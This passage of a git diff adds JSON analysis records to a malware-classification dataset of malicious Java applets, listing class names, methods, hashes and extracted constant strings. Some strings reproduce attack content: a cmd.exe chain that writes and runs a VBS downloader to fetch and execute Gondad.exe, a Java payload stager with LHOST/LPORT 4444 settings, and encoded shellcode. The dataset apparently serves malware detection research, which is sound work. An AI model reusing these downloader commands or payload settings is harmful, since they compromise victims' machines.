a,Nl,Ka,NQ,4S,39,MC,Vn,kv,l0,KL,Ka,Nu,Le,Sk,mn,kd,DL,K4,C9,UL,kq,Np,Y9,S8,hk,OK,NK,OY,oN,np,NT,N8,lm,Hk,No,z6,nQ,nj,xk,RQ,cW,CH,JL,Js,kv,VG,j6,OB,PS,rp,ub,OR,eg,p5,8s,DS,DR,PV,ZF,Of,Or,Mp,yP,re,9p,fb,Fr,R3,QC,Ve,6P,r1,yc,Ts,Up,sd,nS,SP,op,m6,O3,Sp,or,NQ,da,ur,N1,d4,os,Q0,zS,Jd,n1,xP,tp,mr,L4,oc,Jt,pp,0v,X6,Qt,pP,65,bv,Pv,QE,cT,qF,Xt,2p,04,tv,PD,yQ,Zp,0r,DT,pP,06,Pp,6T,pp,1R,rq,sg,G7,FT,qd,s6,VT,y4,uQ,GF,Sf,UV,Q7,D4,ve,bC,UW,GS,hU,aT,qT,wc,RQ,rP,fp,e3,QQ,IV,UC,Q0,eu,bw,Bv,Rv,Q0,81,Jf,P5,a4,pV,PQ,vF,Pe,g4,pG,pS,0A,", "41,25,25,25,25", ",", "", "fil", "e://aa", "c/", "D", "C", "A"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "25d91750fa83d8c77771370b33126b26ee9d31fe", "file_name": "java_malicious/08a7aa8b1c58e23c0543a8db279d687a477ef603fec5c6151a7afd2369d442c7", "_id": "dae3ed69-b7eb-45b7-a5c1-0adac88c579b", "score": 0, "entropy": 5.980827146290554, "libmagic": "compiled Java class data, version 48.0 (Java 1.4)", "file_size": 3144, "ssdeep": "96:hFFlW2IAXKsjVPEkwIQRxC92XQjt9bKsCn:1lW2ID4xEmQRxEkQpRKx", "sha256": "08a7aa8b1c58e23c0543a8db279d687a477ef603fec5c6151a7afd2369d442c7", "md5": "9e9ce5bd4a2c24b270304798b8b17b23", "parent_sha256": "08a7aa8b1c58e23c0543a8db279d687a477ef603fec5c6151a7afd2369d442c7"}} \ No newline at end of file diff --git a/java_classification/data/malicious/08fd548d74299cddcffeee5c4556a98cb0ce1b5d20a83429855d5d8531802d30.results b/java_classification/data/malicious/08fd548d74299cddcffeee5c4556a98cb0ce1b5d20a83429855d5d8531802d30.results new file mode 100755 index 0000000..422bb29 --- /dev/null +++ b/java_classification/data/malicious/08fd548d74299cddcffeee5c4556a98cb0ce1b5d20a83429855d5d8531802d30.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"class_name": "iACVKaBQCV/HhtBSGn", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 45, "method_names": ["", "main", "writeEmbeddedFile", "bootstrap", "getJreExecutable", "addExtension", "findInDir", "normalize", "dissect", "class$", ""], "minor_version": 3, "const_pool_count": 605}}, "_id": "96719f4a-ff21-4246-9e1f-33d0b35966ef", "verbose": {"java": {"constant strings": ["iACVKaBQCV.HhtBSGn", ".class", "/iACVKaBQCV.dat", "Executable", "~spawn", ".tmp", ".dir", "DroppedExecutable", "Spawn", "0", "iACVKaBQCV.dat", "URL", "", "https:", "iACVKaBQCV/HhtBSGnTrustManager.class", "HhtBSGnTrustManager.class", "AESPassword", "iACVKaBQCV/AESEncryption.class", "AESEncryption.class", "java", "-classpath", "java.io.File", "setExecutable", "chmod", "+x", "LPORT", "4444", "LHOST", "raw:", "ISO-8859-1", "iACVKaBQCV.HhtBSGnTrustManager", "useFor", "java.net.URLConnection", "iACVKaBQCV.AESEncryption", "wrapStreams", "java.io.InputStream", "java.io.OutputStream", "java.lang.String", "HhtBSGn -- ", "StageParameters", " ", "EmbeddedStage", "/", "file:///", "javapayload.stage.", "start", "java.io.DataInputStream", "[Ljava.lang.String;", "/sh", "/bin", ".exe", ".", "..", "os.name", "path.separator", "aix", ";", "java.home"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "d34cbd3628eb43aabdec8e00f2a5b79e2b7c3610", "file_name": "java_malicious/08fd548d74299cddcffeee5c4556a98cb0ce1b5d20a83429855d5d8531802d30", "_id": "96719f4a-ff21-4246-9e1f-33d0b35966ef", "score": 0, "entropy": 6.148765814173445, "libmagic": "compiled Java class data, version 45.3", "file_size": 9415, "ssdeep": "192:gmO1tVTGEFtmOVyNvpvUrKYvCkgHzbDrDF:5+/PyNvZU+YvaH3B", "sha256": "08fd548d74299cddcffeee5c4556a98cb0ce1b5d20a83429855d5d8531802d30", "md5": "9456472829a4e0c6ac8b3b8c94d3568c", "parent_sha256": "08fd548d74299cddcffeee5c4556a98cb0ce1b5d20a83429855d5d8531802d30"}} \ No newline at end of file diff --git a/java_classification/data/malicious/0987f8b100dd7ad296dce27136af7c36d75075aea9e916c06c9a11c4aacbb1ad.results b/java_classification/data/malicious/0987f8b100dd7ad296dce27136af7c36d75075aea9e916c06c9a11c4aacbb1ad.results new file mode 100755 index 0000000..706b267 --- /dev/null +++ b/java_classification/data/malicious/0987f8b100dd7ad296dce27136af7c36d75075aea9e916c06c9a11c4aacbb1ad.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "GondadGondadExp.java", "class_name": "GondadGondadExp", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 45, "method_names": ["", "init"], "minor_version": 3, "const_pool_count": 133}}, "_id": "936ef7cd-7dd0-4e98-9a8b-e81577bcba6d", "verbose": {"java": {"constant strings": ["java.lang.System.setSecurity", "KXHW6qRLw0otYI1oL", "dota", "function", "j", "return \"exploit!\";};", "s", "error.message = this;", "ts(0)", "ho UR", "var error = new Error(\"My error\");this.toString = ", "(){ ", "Manager(null);java.lang.Runtime.getRuntime().exec(\\'cmd.exe /c ec", "L = LCase(WScript.Argumen", ")>\"%temp%\\\\\\\\KXHW6qRL.vbs\"&&cmd.exe /c echo dim m,s,gond>>\"%temp%\\\\\\\\KXHW6qRL.vbs\"&&cmd.exe /c echo gond=\"KXHW6qRLw0otYI1o\">>\"%temp%\\\\\\\\KXHW6qRL.vbs\"&&cmd.exe /c echo m=\"Mvivcvrvovsvovfvtv.vXvMvLvHvTvTvP\">>\"%temp%\\\\\\\\KXHW6qRL.vbs\"&&cmd.exe /c echo s=\"AzDzOzDBz.zSztzrzezazm\">>\"%temp%\\\\\\\\KXHW6qRL.vbs\"&&cmd.exe /c echo set cmd =Createobject(replace(m,\"v\",\"\")) >>\"%temp%\\\\\\\\KXHW6qRL.vbs\"&&cmd.exe /c echo cmd.Open \"GET\",URL,0 >>\"%temp%\\\\\\\\KXHW6qRL.vbs\"&&cmd.exe /c echo cmd.Send()>>\"%temp%\\\\\\\\KXHW6qRL.vbs\"&&cmd.exe /c echo FileName=LCase(WScript.Arguments(1))>>\"%temp%\\\\\\\\KXHW6qRL.vbs\"&&cmd.exe /c echo Set CsCriptGet = Createobject(replace(s,\"z\",\"\"))>>\"%temp%\\\\\\\\KXHW6qRL.vbs\"&&cmd.exe /c echo CsCriptGet.Mode=^3>>\"%temp%\\\\\\\\KXHW6qRL.vbs\"&&cmd.exe /c echo CsCriptGet.Type=^1>>\"%temp%\\\\\\\\KXHW6qRL.vbs\"&&cmd.exe /c echo CsCriptGet.Open()>>\"%temp%\\\\\\\\KXHW6qRL.vbs\"&&cmd.exe /c echo CsCriptGet.Write(cmd.responseBody)>>\"%temp%\\\\\\\\KXHW6qRL.vbs\"&&cmd.exe /c echo CsCriptGet.SaveToFile FileName,^2>>\"%temp%\\\\\\\\KXHW6qRL.vbs\"&&cmd.exe /c cscript \"%temp%\\\\\\\\KXHW6qRL.vbs\" ", " \"%temp%\\\\\\\\Gondad.exe\"&& \"%temp%\\\\\\\\Gondad.exe\"\\');", "error"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "bd4a2ee6f06dff4e25d9c3f094ec06769a2c73ca", "file_name": "java_malicious/0987f8b100dd7ad296dce27136af7c36d75075aea9e916c06c9a11c4aacbb1ad", "_id": "936ef7cd-7dd0-4e98-9a8b-e81577bcba6d", "score": 0, "entropy": 5.927092681774926, "libmagic": "compiled Java class data, version 45.3", "file_size": 3274, "ssdeep": "48:CayGl/5B3pDhZ0A5biQvtJm5Hijd0C6XcUdvXdGOHM89TAG8PnI:CzGlRB3pDv1istHyxXc6dZM89bUI", "sha256": "0987f8b100dd7ad296dce27136af7c36d75075aea9e916c06c9a11c4aacbb1ad", "md5": "c8acf40fe5a5a08f579525749c278570", "parent_sha256": "0987f8b100dd7ad296dce27136af7c36d75075aea9e916c06c9a11c4aacbb1ad"}} \ No newline at end of file diff --git a/java_classification/data/malicious/0a06cc053b44a29cf312383d390fcf19693f8d00b48ca0486c7caed563225fc5.results b/java_classification/data/malicious/0a06cc053b44a29cf312383d390fcf19693f8d00b48ca0486c7caed563225fc5.results new file mode 100755 index 0000000..a82820c --- /dev/null +++ b/java_classification/data/malicious/0a06cc053b44a29cf312383d390fcf19693f8d00b48ca0486c7caed563225fc5.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "Main.java", "class_name": "Main", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 48, "method_names": ["", "init"], "minor_version": 0, "const_pool_count": 102}}, "_id": "9996e94c-fd99-47da-9d30-4dd028856233", "verbose": {"java": {"constant strings": ["YIIIIIIIIIIIIIIIIIQZjA,XP,0A,0A,kA,AQ,2A,B2,BB,0B,BA,BX,P8,AB,uJ,Il,PN,pN,pL,PJ,0N,pz,0n,pK,YK,Ks,05,P7,pQ,Ou,4M,qD,pw,pw,pW,pl,K3,pV,lN,kp,pU,LN,MN,kr,H7,PO,p1,mT,Ld,ss,DS,3L,Vz,Kz,SL,K0,h5,XL,K8,w3,Z4,Dr,yM,8L,O7,pg,pu,Pk,Rx,ys,XP,oP,nS,0w,pS,Xp,uq,bb,LP,mP,TK,OW,fL,Km,8Y,xb,Y7,pW,pW,pN,kJ,wR,gK,0U,oU,Pa,eJ,ZS,w0,WG,7o,p5,oW,pQ,ex,zl,Kz,O1,Ot,s9,YK,1X,lT,Dg,qu,Pw,pl,Ky,LV,1v,20,Sc,XW,tf,a5,PW,pK,OC,fV,l3,jV,9R,qf,2L,KD,BR,sP,CK,0W,K7,pB,UJ,ZM,Qq,kI,ld,nQ,up,x5,5P,ud,CN,cZ,Kt,Ho,yS,3k,w2,c6,d4,nC,U1,hc,Uk,vR,cv,hE,P1,Kn,jk,qt,D4,pk,8s,uW,pt,sk,p2,pV,0s,cB,wr,pk,O2,vr,0N,cZ,XU,P0,uT,F3,Z3,1p,Sk,Of,63,4c,j2,yl,CO,2T,Da,QO,pd,zE,Pp,uO,Di,os,fs,8P,QC,fN,kt,57,LL,K2,TE,er,Xg,sh,u0,VN,k1,fg,PW,sI,eE,cy,YS,ys,qL,m7,s9,UT,sk,k4,OM,nD,PV,X8,rP,tT,Hz,aX,K4,Md,Cy,Jc,pZ,Kh,qg,Kg,o4,5Y,wa,NN,kq,Ne,tv,cy,MQ,vN,kD,L2,kN,kc,nU,L5,SK,mn,k7,tl,Kg,sX,EL,kQ,Np,YX,Ci,xW,pK,OK,OI,oL,NR,n6,nX,lN,xK,Nn,jt,Nq,nx,XJ,Bb,ST,sj,jL,JQ,Kp,6t,Z4,oR,PG,8p,DQ,tP,rC,0B,Hq,dQ,dR,PT,z4,od,oP,k2,LU,54,6P,eT,2d,np,iq,wP,nP,ob,RP,eR,LR,Ip,sB,TT,np,cP,oR,Md,oQ,yr,Nq,vR,OV,Op,up,s0,1v,Np,hP,tP,mB,Lt,o0,nV,PP,0u,1v,QF,P7,F0,2p,0t,qU,cV,Q5,hp,rF,Pw,DV,PP,9C,z0,0E,5V,P6,PF,P4,vV,PU,aB,rU,hu,fu,gu,cw,H4,st,y5,6F,7S,Ur,C6,Ue,fF,YE,6V,R5,gP,X4,yP,6t,rw,GQ,rq,sF,Vp,0R,yp,du,40,f0,8p,au,44,tq,ua,JD,pV,Qv,Pp,05,6v,Pf,XV,P5,PU,PA,", "41,25,25,25,25", ",", "", "fil", "e://aa", "c/", "D", "C", "A"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "fb0687099df3a7f84e6995261b138da17d0fcae6", "file_name": "java_malicious/0a06cc053b44a29cf312383d390fcf19693f8d00b48ca0486c7caed563225fc5", "_id": "9996e94c-fd99-47da-9d30-4dd028856233", "score": 0, "entropy": 5.998251818187458, "libmagic": "compiled Java class data, version 48.0 (Java 1.4)", "file_size": 3111, "ssdeep": "96:hFFl/OjCjWW20kPMHpRxC92XQjt9bKsCn:1laCjBJSMHpRxEkQpRKx", "sha256": "0a06cc053b44a29cf312383d390fcf19693f8d00b48ca0486c7caed563225fc5", "md5": "57a737f59e1f22e4022542d1437b50b4", "parent_sha256": "0a06cc053b44a29cf312383d390fcf19693f8d00b48ca0486c7caed563225fc5"}} \ No newline at end of file diff --git a/java_classification/data/malicious/0a89b5023cc1f14f5f07ceed1878534664086fb1e360e8087e0b6614b27ba615.results b/java_classification/data/malicious/0a89b5023cc1f14f5f07ceed1878534664086fb1e360e8087e0b6614b27ba615.results new file mode 100755 index 0000000..1517799 --- /dev/null +++ b/java_classification/data/malicious/0a89b5023cc1f14f5f07ceed1878534664086fb1e360e8087e0b6614b27ba615.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"class_name": "enudwwlhl/yhfwcgjacjjauyvut", "access_permissions": ["ACC_PUBLIC", "ACC_FINAL", "ACC_SUPER"], "major_version": 50, "method_names": ["knjkb", "B", "cmjnkr", "jmdpes", "tqffjybms", "vtvtmh", "", "cndbtaraw", "eylcpkecdkt", "uhwsrwydr", "srtgl"], "minor_version": 0, "const_pool_count": 545}}, "_id": "e931c031-4200-49eb-be26-0d6061563564", "verbose": {"java": {"constant strings": ["R\\x06\\x19\\x13\\x08@\\x19\\x10P\\r\\x11\\x17\\x04\\x02\\x01\\x10R\\r\\x1a", "\\x16\\x19\\x07\\x18\\x12\\xc0\\x80\\x08A\\x15E\\x03\\x1eQLWA\\x17\\x18R\\x18U", "T\\x05\\x1aL\\x01", "WA\\n\\x0e\\x08\\x06\\r\\x10\\x02\\r\\x0e\\x10Q@\\x17\\x07\\x06\\x19Q", "\\x0eRGWLR\\r\\x0c\\x0e\\x14\\x0e\\x12E\\x04\\x04V\\x06\\x11\\x06X\\x01\\x19\\x13\\n\\xc0\\x80R\\x16V\\x04T", "@QCPLS", "@XMUEW", "\\x15U\\x05U", "WGPDW", "DXF\\x13\\x1a\\x04", "P\\x1a\\x07LW\\x04\\x10\\x16\\x02\\x01\\x15\\x12R\\x13PF\\x0c", "\\x11\\x05\\x10\\x17\\x1e\\x1a", "\\x11\\x03\\xc0\\x80\\x01\\x18\\x17D\\x1a\\x1c\\x0bB\\x10", "ARGR@X", "\\x04G\\x04\\x13\\x0e\\x15X\\x07\\x1a\\x03\\x14\\x16\\x10\\x06\\x07ES\\x06P", "F\\x19B\\x19\\x18UE\\x01\\x01\\x0e\\x18\\x16\\x05R\\x05R@\\x03\\x1f\\x0cA\\n", "G\\x13CP\\x13VE\\x0e\\x19\\x05", "\\x13\\x1e\\x17\\x07\\x10\\x01PC\\x16\\x1eU\\x1e\\x16\\x19\\x0b\\x17VE\\x10\\r\\x1a", "F\\x06\\x11R\\x11U\\x17UFVF\\x02\\x16U", "\\x08\\x07\\x07\\x10\\x08\\r\\x19", "F\\x04\\x11P\\x11\\x01", "\\x04\\r\\x19", "\\x13\\x02E\\x0cL\\x11", "U\\x03XE\\x0c\\x17\\x14CR\\x12\\rG\\x0e\\x1e\\x07\\x18P\\x1eRL\\x06\\x1a\\x17\\x1cW\\x16\\x14@\\x06", "\\x04P\\x16\\n\\x1a\\x07\\x19\\x04E\\x07E\\x02\\x13\\x17", "A\\x0b\\x10\\x12\\x1f\\x13\\x04T\\x03\\x0e\\x1c\\x1a\\x1a\\x05\\x03\\x10@\\x06\\x1a\\x14G\\x13\\x1e\\x12", "\\x07\\n\\x1e\\x10", "F\\x06", "\\n\\x04\\x01\\xc0\\x80\\x10\\x18\\x07\\x1d\\r", "GY\\x12X\\x12X", "\\x15\\t\\x19\\t\\x15\\x04\\x03\\x15", "FU\\x12X\\x12V\\x11SBQFW\\x15\\x06\\x17WFSEW\\x15\\x01\\x12V\\x16PAX\\x17\\x02GS", "\\x1b\\r\\x02\\x11\\xc0\\x80\\x17\\x02\\x05\\xc0\\x80\\x12", "QF\\x04\\x1fR\\x13\\x1a", "\\x04R\\x06\\x15\\x1e\\x03\\rP\\x10\\x14\\x12QC\\x12L\\x14\\x07\\x1a\\x05\\x19\\x1eT\\x12\\x17\\x06V", "@\\x11\\x1c\\x07LSA\\x07\\xc0\\x80\\n\\r\\x08\\x19\\x14\\x05S\\x1eV\\x12\\x0e\\x11V", "\\x16\\x04\\x11\\x14", "\\x0b\\x05S\\x10\\x12\\x1c\\x0bF\\x14E\\x0c\\x15\\x13CX\\x1aP\\x11\\x12\\xc0\\x80\\x17\\x19\\x13\\x1c\\x03\\x1f\\x03", "\\r\\x13C\\x0b", "GRLTGU", "\\x02\\x07\\x04\\x17V\\x10\\x04@\\x08\\x1c\\x03", "S\\r\\x10\\x10\\x01@\\x10CUD\\x07\\x13\\x17\\x17\\x02\\x17\\x06D\\x06\\x0e\\x14\\x11T\\xc0\\x80Q", "S\\x18\\x12", "\\x11D\\x08\\xc0\\x80TE\\x05FP\\x1f\\x11G\\x14\\x1a\\x1a", "\\x03\\x14\\x03\\x15\\x07\\x06C\\x17\\x06\\x1a\\x1a\\x04@\\x01", "\\x03AX\\x05\\x02", "V\\x1a\\x0b\\x12R\\x10Q\\x0e\\x12\\x03TLQ\\x1eS\\x04S\\x04\\x05", "\\x17\\x0c\\x16\\x04\\x01\\x14\\r\\x10\\x16\\nL\\x15\\x10X\\x1f\\x03\\x01\\x05\\x1e\\n\\x1c\\x17", "\\x17T\\r\\x16\\x10S\\x1c\\x13\\x0e\\x0b\\xc0\\x80\\x07\\x1e\\x0cB\\x01\\x02\\x12L\\x14\\x1eX\\x1aS", "\\x13\\n\\x1eV\\x06\\x05A\\x13F\\x01\\x11\\x13\\x1a\\x10\\x1f\\x01\\x1c\\x0b\\x15\\x07\\x03PC\\x19E\\x11A\\x04\\x19\\x08\\x06\\x06\\x01\\x07\\x12\\x07", "\\x02V\\x1c\\x08F\\x02\\x18\\x0e\\x16SB\\n\\x04\\x19\\x0e\\x14\\xc0\\x80\\x13\\x03\\x16\\x19\\x16", "\\x13C\\x0c", "E\\x02\\x04X\\x07TF\\x10\\x03\\x07\\x15\\x05\\x18\\x17\\x03\\x0c\\x12\\x04E\\x1a\\x1fS\\x04Q\\x03\\x10AU\\x06U", "D\\x10\\x03\\x12", "\\x1aA\\x10D\\x08\\x0eP\\x02\\x02\\x19\\x15", "\\x04\\x10\\x1c\\x05\\x16QC\\x0b\\x11\\x01\\x03\\x0e@X", "\\x07\\x10\\x08\\x01\\x08", "\\xc0\\x80\\x12@\\x0b\\x18\\x19@\\x11@\\x04\\x1a\\x19\\x1c\\x14G\\x11", "\\x02@\\x16DXA\\x02@\\x02\\x15\\x05@\\r\\x0e\\x02\\x15XE\\x15\\r\\x03\\x12R\\x07\\x0cD\\x16\\x02\\x15\\x01S", "\\x18\\x10\\rPG\\x17E\\x0e", "D\\x17\\x02P\\xc0\\x80\\x0bG\\x03\\x02\\x12G\\x14\\x17\\x1a\\x19\\x0b\\x06S", "R\\x07\\x17B\\x01G\\x14", "T\\x04\\x01\\x18\\x14\\rQ\\x05\\x04@\\x13F\\x16\\x01\\x0b\\x04PL\\x08CP\\x15\\x11B\\x14\\x04S\\x12U\\x16Q", "\\x12\\xc0\\x80\\x0e\\xc0\\x80\\x0c", "S\\x05\\x14\\x15P\\x02\\x10\\x15\\x0bL\\x04\\x1fU\\x05X\\x11\\x17\\x05WA\\x01\\x02X", "\\x16\\x08\\x01\\x1aB\\x04\\x1f\\x04\\x1a\\x13E\\x1a\\x15Q\\x01\\x04\\x19\\x15\\xc0\\x80\\x05\\x12U", "G\\x06\\x12Q\\x12Y\\x11\\x01CXFR\\x15\\x06", "\\x01\\x04\\r\\x18\\x19\\x10\\x06\\x0b\\x1f\\t\\x19\\x10", "GS\\x16\\x05\\x10\\x01\\x17VE\\x04", "\\x13\\x04\\r\\x07\\x1e\\x0b\\x1b\\x13\\x05\\x12", "\\x1e\\x01\\x02\\x01Z\\x0c\\x15\\x0e\\x13N\\'\\x14\\x06\\t\\x1a\\x07", "G\\x06\\x11S\\x11R\\x12UCSG\\x06", "\\x15\\x02\\x02\\x13\\x06\\x19\\x01\\x10\\x05\\x0c\\x04\\r\\x17", "F\\x05\\x12P\\x16P\\x17PD\\x06EV", "\\x1f\\x10\\x1c\\x06\\x12\\x06\\x1a\\x15\\x1f\\x07", "D\\x02\\x17\\x06\\x11\\x06\\x11VG\\x02GR\\x11\\x06\\x17\\x06FRA\\x02MW\\x11\\x02\\x16R@\\x04\\x10XC\\x01LQLX\\x12UGPAPB\\x06\\x15\\x04GU@\\x05", "\\x10\\x03\\x13\\xc0\\x80\\x16\\x1b\\x19", "FW\\x11S\\x12X\\x11RFXFR\\x16\\x06MY", "\\x1a\\x11\\x13\\x12\\x06\\n\\x16\\x0e\\x03\\n", "F\\x04\\x12\\x02\\x11\\x01\\x11\\x02CRFQ\\x16S\\x17\\x01GRAQMY\\x11X\\x15\\x05DS\\x12SGVMPLW\\x11\\x04", "\\x07\\x1a\\n\\r\\x07\\x1a\\x0e\\x11\\x17\\x1c\\x06\\x07\\x03\\x19\\x12", "FY\\x11T\\x12\\x05\\x12VG\\x06E\\x03\\x16V\\x17\\x02G\\x02@VMY", "\\x1e\\x04\\x15\\n", "G\\x06\\x12T\\x11V\\x11RB\\x04G\\x06\\x16W\\x10\\x05FTA\\x03L\\x06\\x11\\x02\\x16XD\\x06\\x11WGVM\\x02LT\\x12RFYEUAP\\x15PF\\x01", "\\x01\\x01\\x12\\x10\\x0c\\x10\\x1e\\x11\\x15\\x05\\x04\\x10", "DY\\x12R\\x11\\x06\\x11YG\\x03GU\\x15U\\x10PFY@W", "\\n\\x1d\\x15\\x02\\x02", "GY\\x11P\\x12P\\x11PBRFS\\x15Y\\x17YGPAXMQ\\x11\\x05\\x15\\x01DY\\x12RGSMSLV", "\\x07\\x15\\x04\\x12\\x03\\x0c\\xc0\\x80\\x06\\x01\\x01\\x1a\\x15\\x13\\x07", "GY\\x12W\\x11\\x01\\x11RFVF\\x01\\x15\\x06", "\\x04\\x10\\x1b\\x18\\x06\\x18\\x10\\x18\\x0c\\t\\x15\\x0f", "\\x0e\\x0cG\\x0c\\x16U\\r\\x04\\x18\\x05\\x13Q\\x19\\x05\\x01\\x12\\r\\x11\\rP", "\\x12P\\x17T\\x18\\x07@W\\x07\\x06\\x06P\\x13Q\\x10\\x1a\\x12\\x03\\x12\\x19\\rP\\x04Q\\rU", "G\\x19\\r\\x0c", "\\x1eP\\x15X\\r\\x1a\\x06R\\x1c\\x10\\rP\\x16QD\\x17\\r\\x16\\x16\\x06", "F\\x05\\x11\\x04\\x12R\\x11RBQFR\\x16X\\x17PF\\x05DQ\\x15\\x04\\x12Q", "\\x04\\x0c\\x12\\x04\\x14\\x06\\x01\\x16\\x19", "FU\\x12\\x05\\x12P", "\\x10\\x19\\x01\\x0e\\x17\\x0e\\x04\\x14", "F\\x06\\x12\\x04\\x11U\\x17SFVFR\\x15\\x06\\x17\\x06GX@SMU", "\\x01\\x18\\x04\\r\\x13\\x19\\x03\\x16\\x06\\x1f\\x06\\x10\\x10", "PG\\x13\\x04\\x07@PD\\x1a\\x13\\x12\\x1c\\x01", "LVFT@\\x05\\x1eV\\x13W\\x17\\x0c\\x06\\x14\\x13\\x07", "\\x04\\x07\\x02L\\x17F\\x15\\x11\\x19G\\x10", "W\\x16\\x03@W\\x16WE\\x01C\\x0e\\x0e\\x08\\x16\\x17", "GY\\x12\\x05\\x11U\\x12\\x06BTFV\\x15\\x03\\x17Y", "\\x07\\x0b\\x11\\r\\x05\\t\\x05\\x06\\x1c\\x13\\x10\\x15\\x12\\x04", "FR\\x12U\\x11W\\x11YF\\x04CVLP\\x17TG\\x06B\\x02M\\x04", "\\x17\\x07\\x18\\x1a\\x0f\\x10\\x19\\x10\\x03\\x04\\x0e\\x12\\t", "FP\\x11\\x04\\x11W\\x11XFRGW\\x16\\x05\\x17\\x03", "\\x06\\x14\\x0c\\x08\\x1e\\x02\\x1d\\x0e\\x17\\x19\\x11\\x0f", "P\\x05\\x19\\r\\rL\\x0e\\x18WL\\x07\\x0e\\x0b\\x1cT\\x17\\x03D\\r\\x0eQ\\x04\\x0bF\\x14\\x07\\x0c@\\x0c\\x1e\\x14", "\\x17E\\x15DW", "\\x17\\x01\\x0e", "FX\\x11V\\x12V", "\\x1d\\x16\\x10\\x11\\x12\\x18\\x17\\x05", "GX\\x12\\x03\\x11W\\x11QC\\x01F\\x03\\x16\\x05", "\\x12\\x1d\\x07\\x07\\x0f\\x17\\x03\\x1b\\x19\\x1a\\x08\\x05\\x10\\x18\\x0f", "GW\\x11R\\x11Y\\x11XGXFR\\x11S\\x11XGVATLY\\x12Q\\x15P@V\\x17\\x03F\\x06MR", "\\x14\\x17\\r\\x06\\x17\\x13\\x15", "\\x0b\\x1c\\x0b\\x11P@\\x1a", "\\x19\\x0e\\x04\\x08\\x02SLT\\x19\\rB\\x15\\x16XL\\x11\\x05X\\xc0\\x80\\x01\\x17\\r\\x19\\x12C\\n\\r\\x05\\x1c\\x16\\x19\\x19\\x06\\x14AR\\x10\\x19", "R\\x11R", "\\x18\\x03\\x1fUB\\x05ES\\x17\\x0c\\x17V\\x07\\x13\\x17\\x08\\rR\\x1a\\rFV", "\\x16\\x16\\xc0\\x80R\\x18\\x19\\x15\\x05\\x19\\x1a\\x15\\x10D\\x0b\\x06\\x16L\\x0bC\\x07\\x19U\\x0e\\x16\\x13\\x13\\x1e\\x19\\x0e\\x19", "C\\x15C\\x0eE\\x0cDQ\\x02\\x07C\\x19\\x12\\x03\\x01RGU\\x1a\\x16", "\\x12\\x05\\x1a\\x13\\x1fP\\x1eWD\\x16\\x18Q\\x15S\\x15QA\\x07C\\r\\x1aW\\x06\\n\\x1f\\x13", "U\\r\\x19\\x01\\x1aBT\\x19\\x12\\x18\\x08E\\x13@\\x03\\x16\\x15\\x1aV\\x17\\x06E\\x08", "\\x1c\\n\\x03\\x11\\x11\\x19", "\\x07L\\x16\\x13\\x1aL\\x10G\\x1aA\\x08L\\x12@\\x0c\\x0e\\x07E\\x10\\x03R", "\\x02\\x10\\x1c\\x17F\\x0c\\x10\\x12\\x1c\\x08C\\x10L\\x03\\x03\\x19E\\x0e\\x10\\x11\\x03U", "\\x11\\xc0\\x80\\x0c\\x0eR\\rP\\x1c\\x19\\x17\\x19\\x05\\n\\x0eX\\x0e\\x0e\\x1fV\\xc0\\x80\\r\\x19\\x05\\x17\\x07", "\\x04\\x05\\x1f\\x12\\x0eW\\x11\\x16\\x03X\\x07\\x0e", "FW\\x04\\x13\\x1cR@Q\\x04\\x03\\x12\\x10\\x1a\\x06B\\x11\\x17P\\x19Q\\x07T\\x12\\x19"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "a88524444b4c7baf2e5aecbab56be89b397cbc1b", "file_name": "java_malicious/0a89b5023cc1f14f5f07ceed1878534664086fb1e360e8087e0b6614b27ba615", "_id": "e931c031-4200-49eb-be26-0d6061563564", "score": 0, "entropy": 6.186330651408548, "libmagic": "compiled Java class data, version 50.0 (Java 1.6)", "file_size": 10030, "ssdeep": "192:uZT2FhJlNLzX3/UElOQoGhSb1H3Rg16s7K55E9OAs+:ud2Ff/9lOLGUbxicsKbdAs+", "sha256": "0a89b5023cc1f14f5f07ceed1878534664086fb1e360e8087e0b6614b27ba615", "md5": "7b822cc035c7c600537769f09530f4c0", "parent_sha256": "0a89b5023cc1f14f5f07ceed1878534664086fb1e360e8087e0b6614b27ba615"}} \ No newline at end of file diff --git a/java_classification/data/malicious/0b8dbfc7dbf28627c708d975d3ddfcf66fc0ad6a1bcdbbe40701f30170102e98.results b/java_classification/data/malicious/0b8dbfc7dbf28627c708d975d3ddfcf66fc0ad6a1bcdbbe40701f30170102e98.results new file mode 100755 index 0000000..be5f12e --- /dev/null +++ b/java_classification/data/malicious/0b8dbfc7dbf28627c708d975d3ddfcf66fc0ad6a1bcdbbe40701f30170102e98.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "Main.java", "class_name": "Main", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 48, "method_names": ["", "init"], "minor_version": 0, "const_pool_count": 86}}, "_id": "000f4187-5ba7-4409-bea7-e3cb1d175675", "verbose": {"java": {"constant strings": 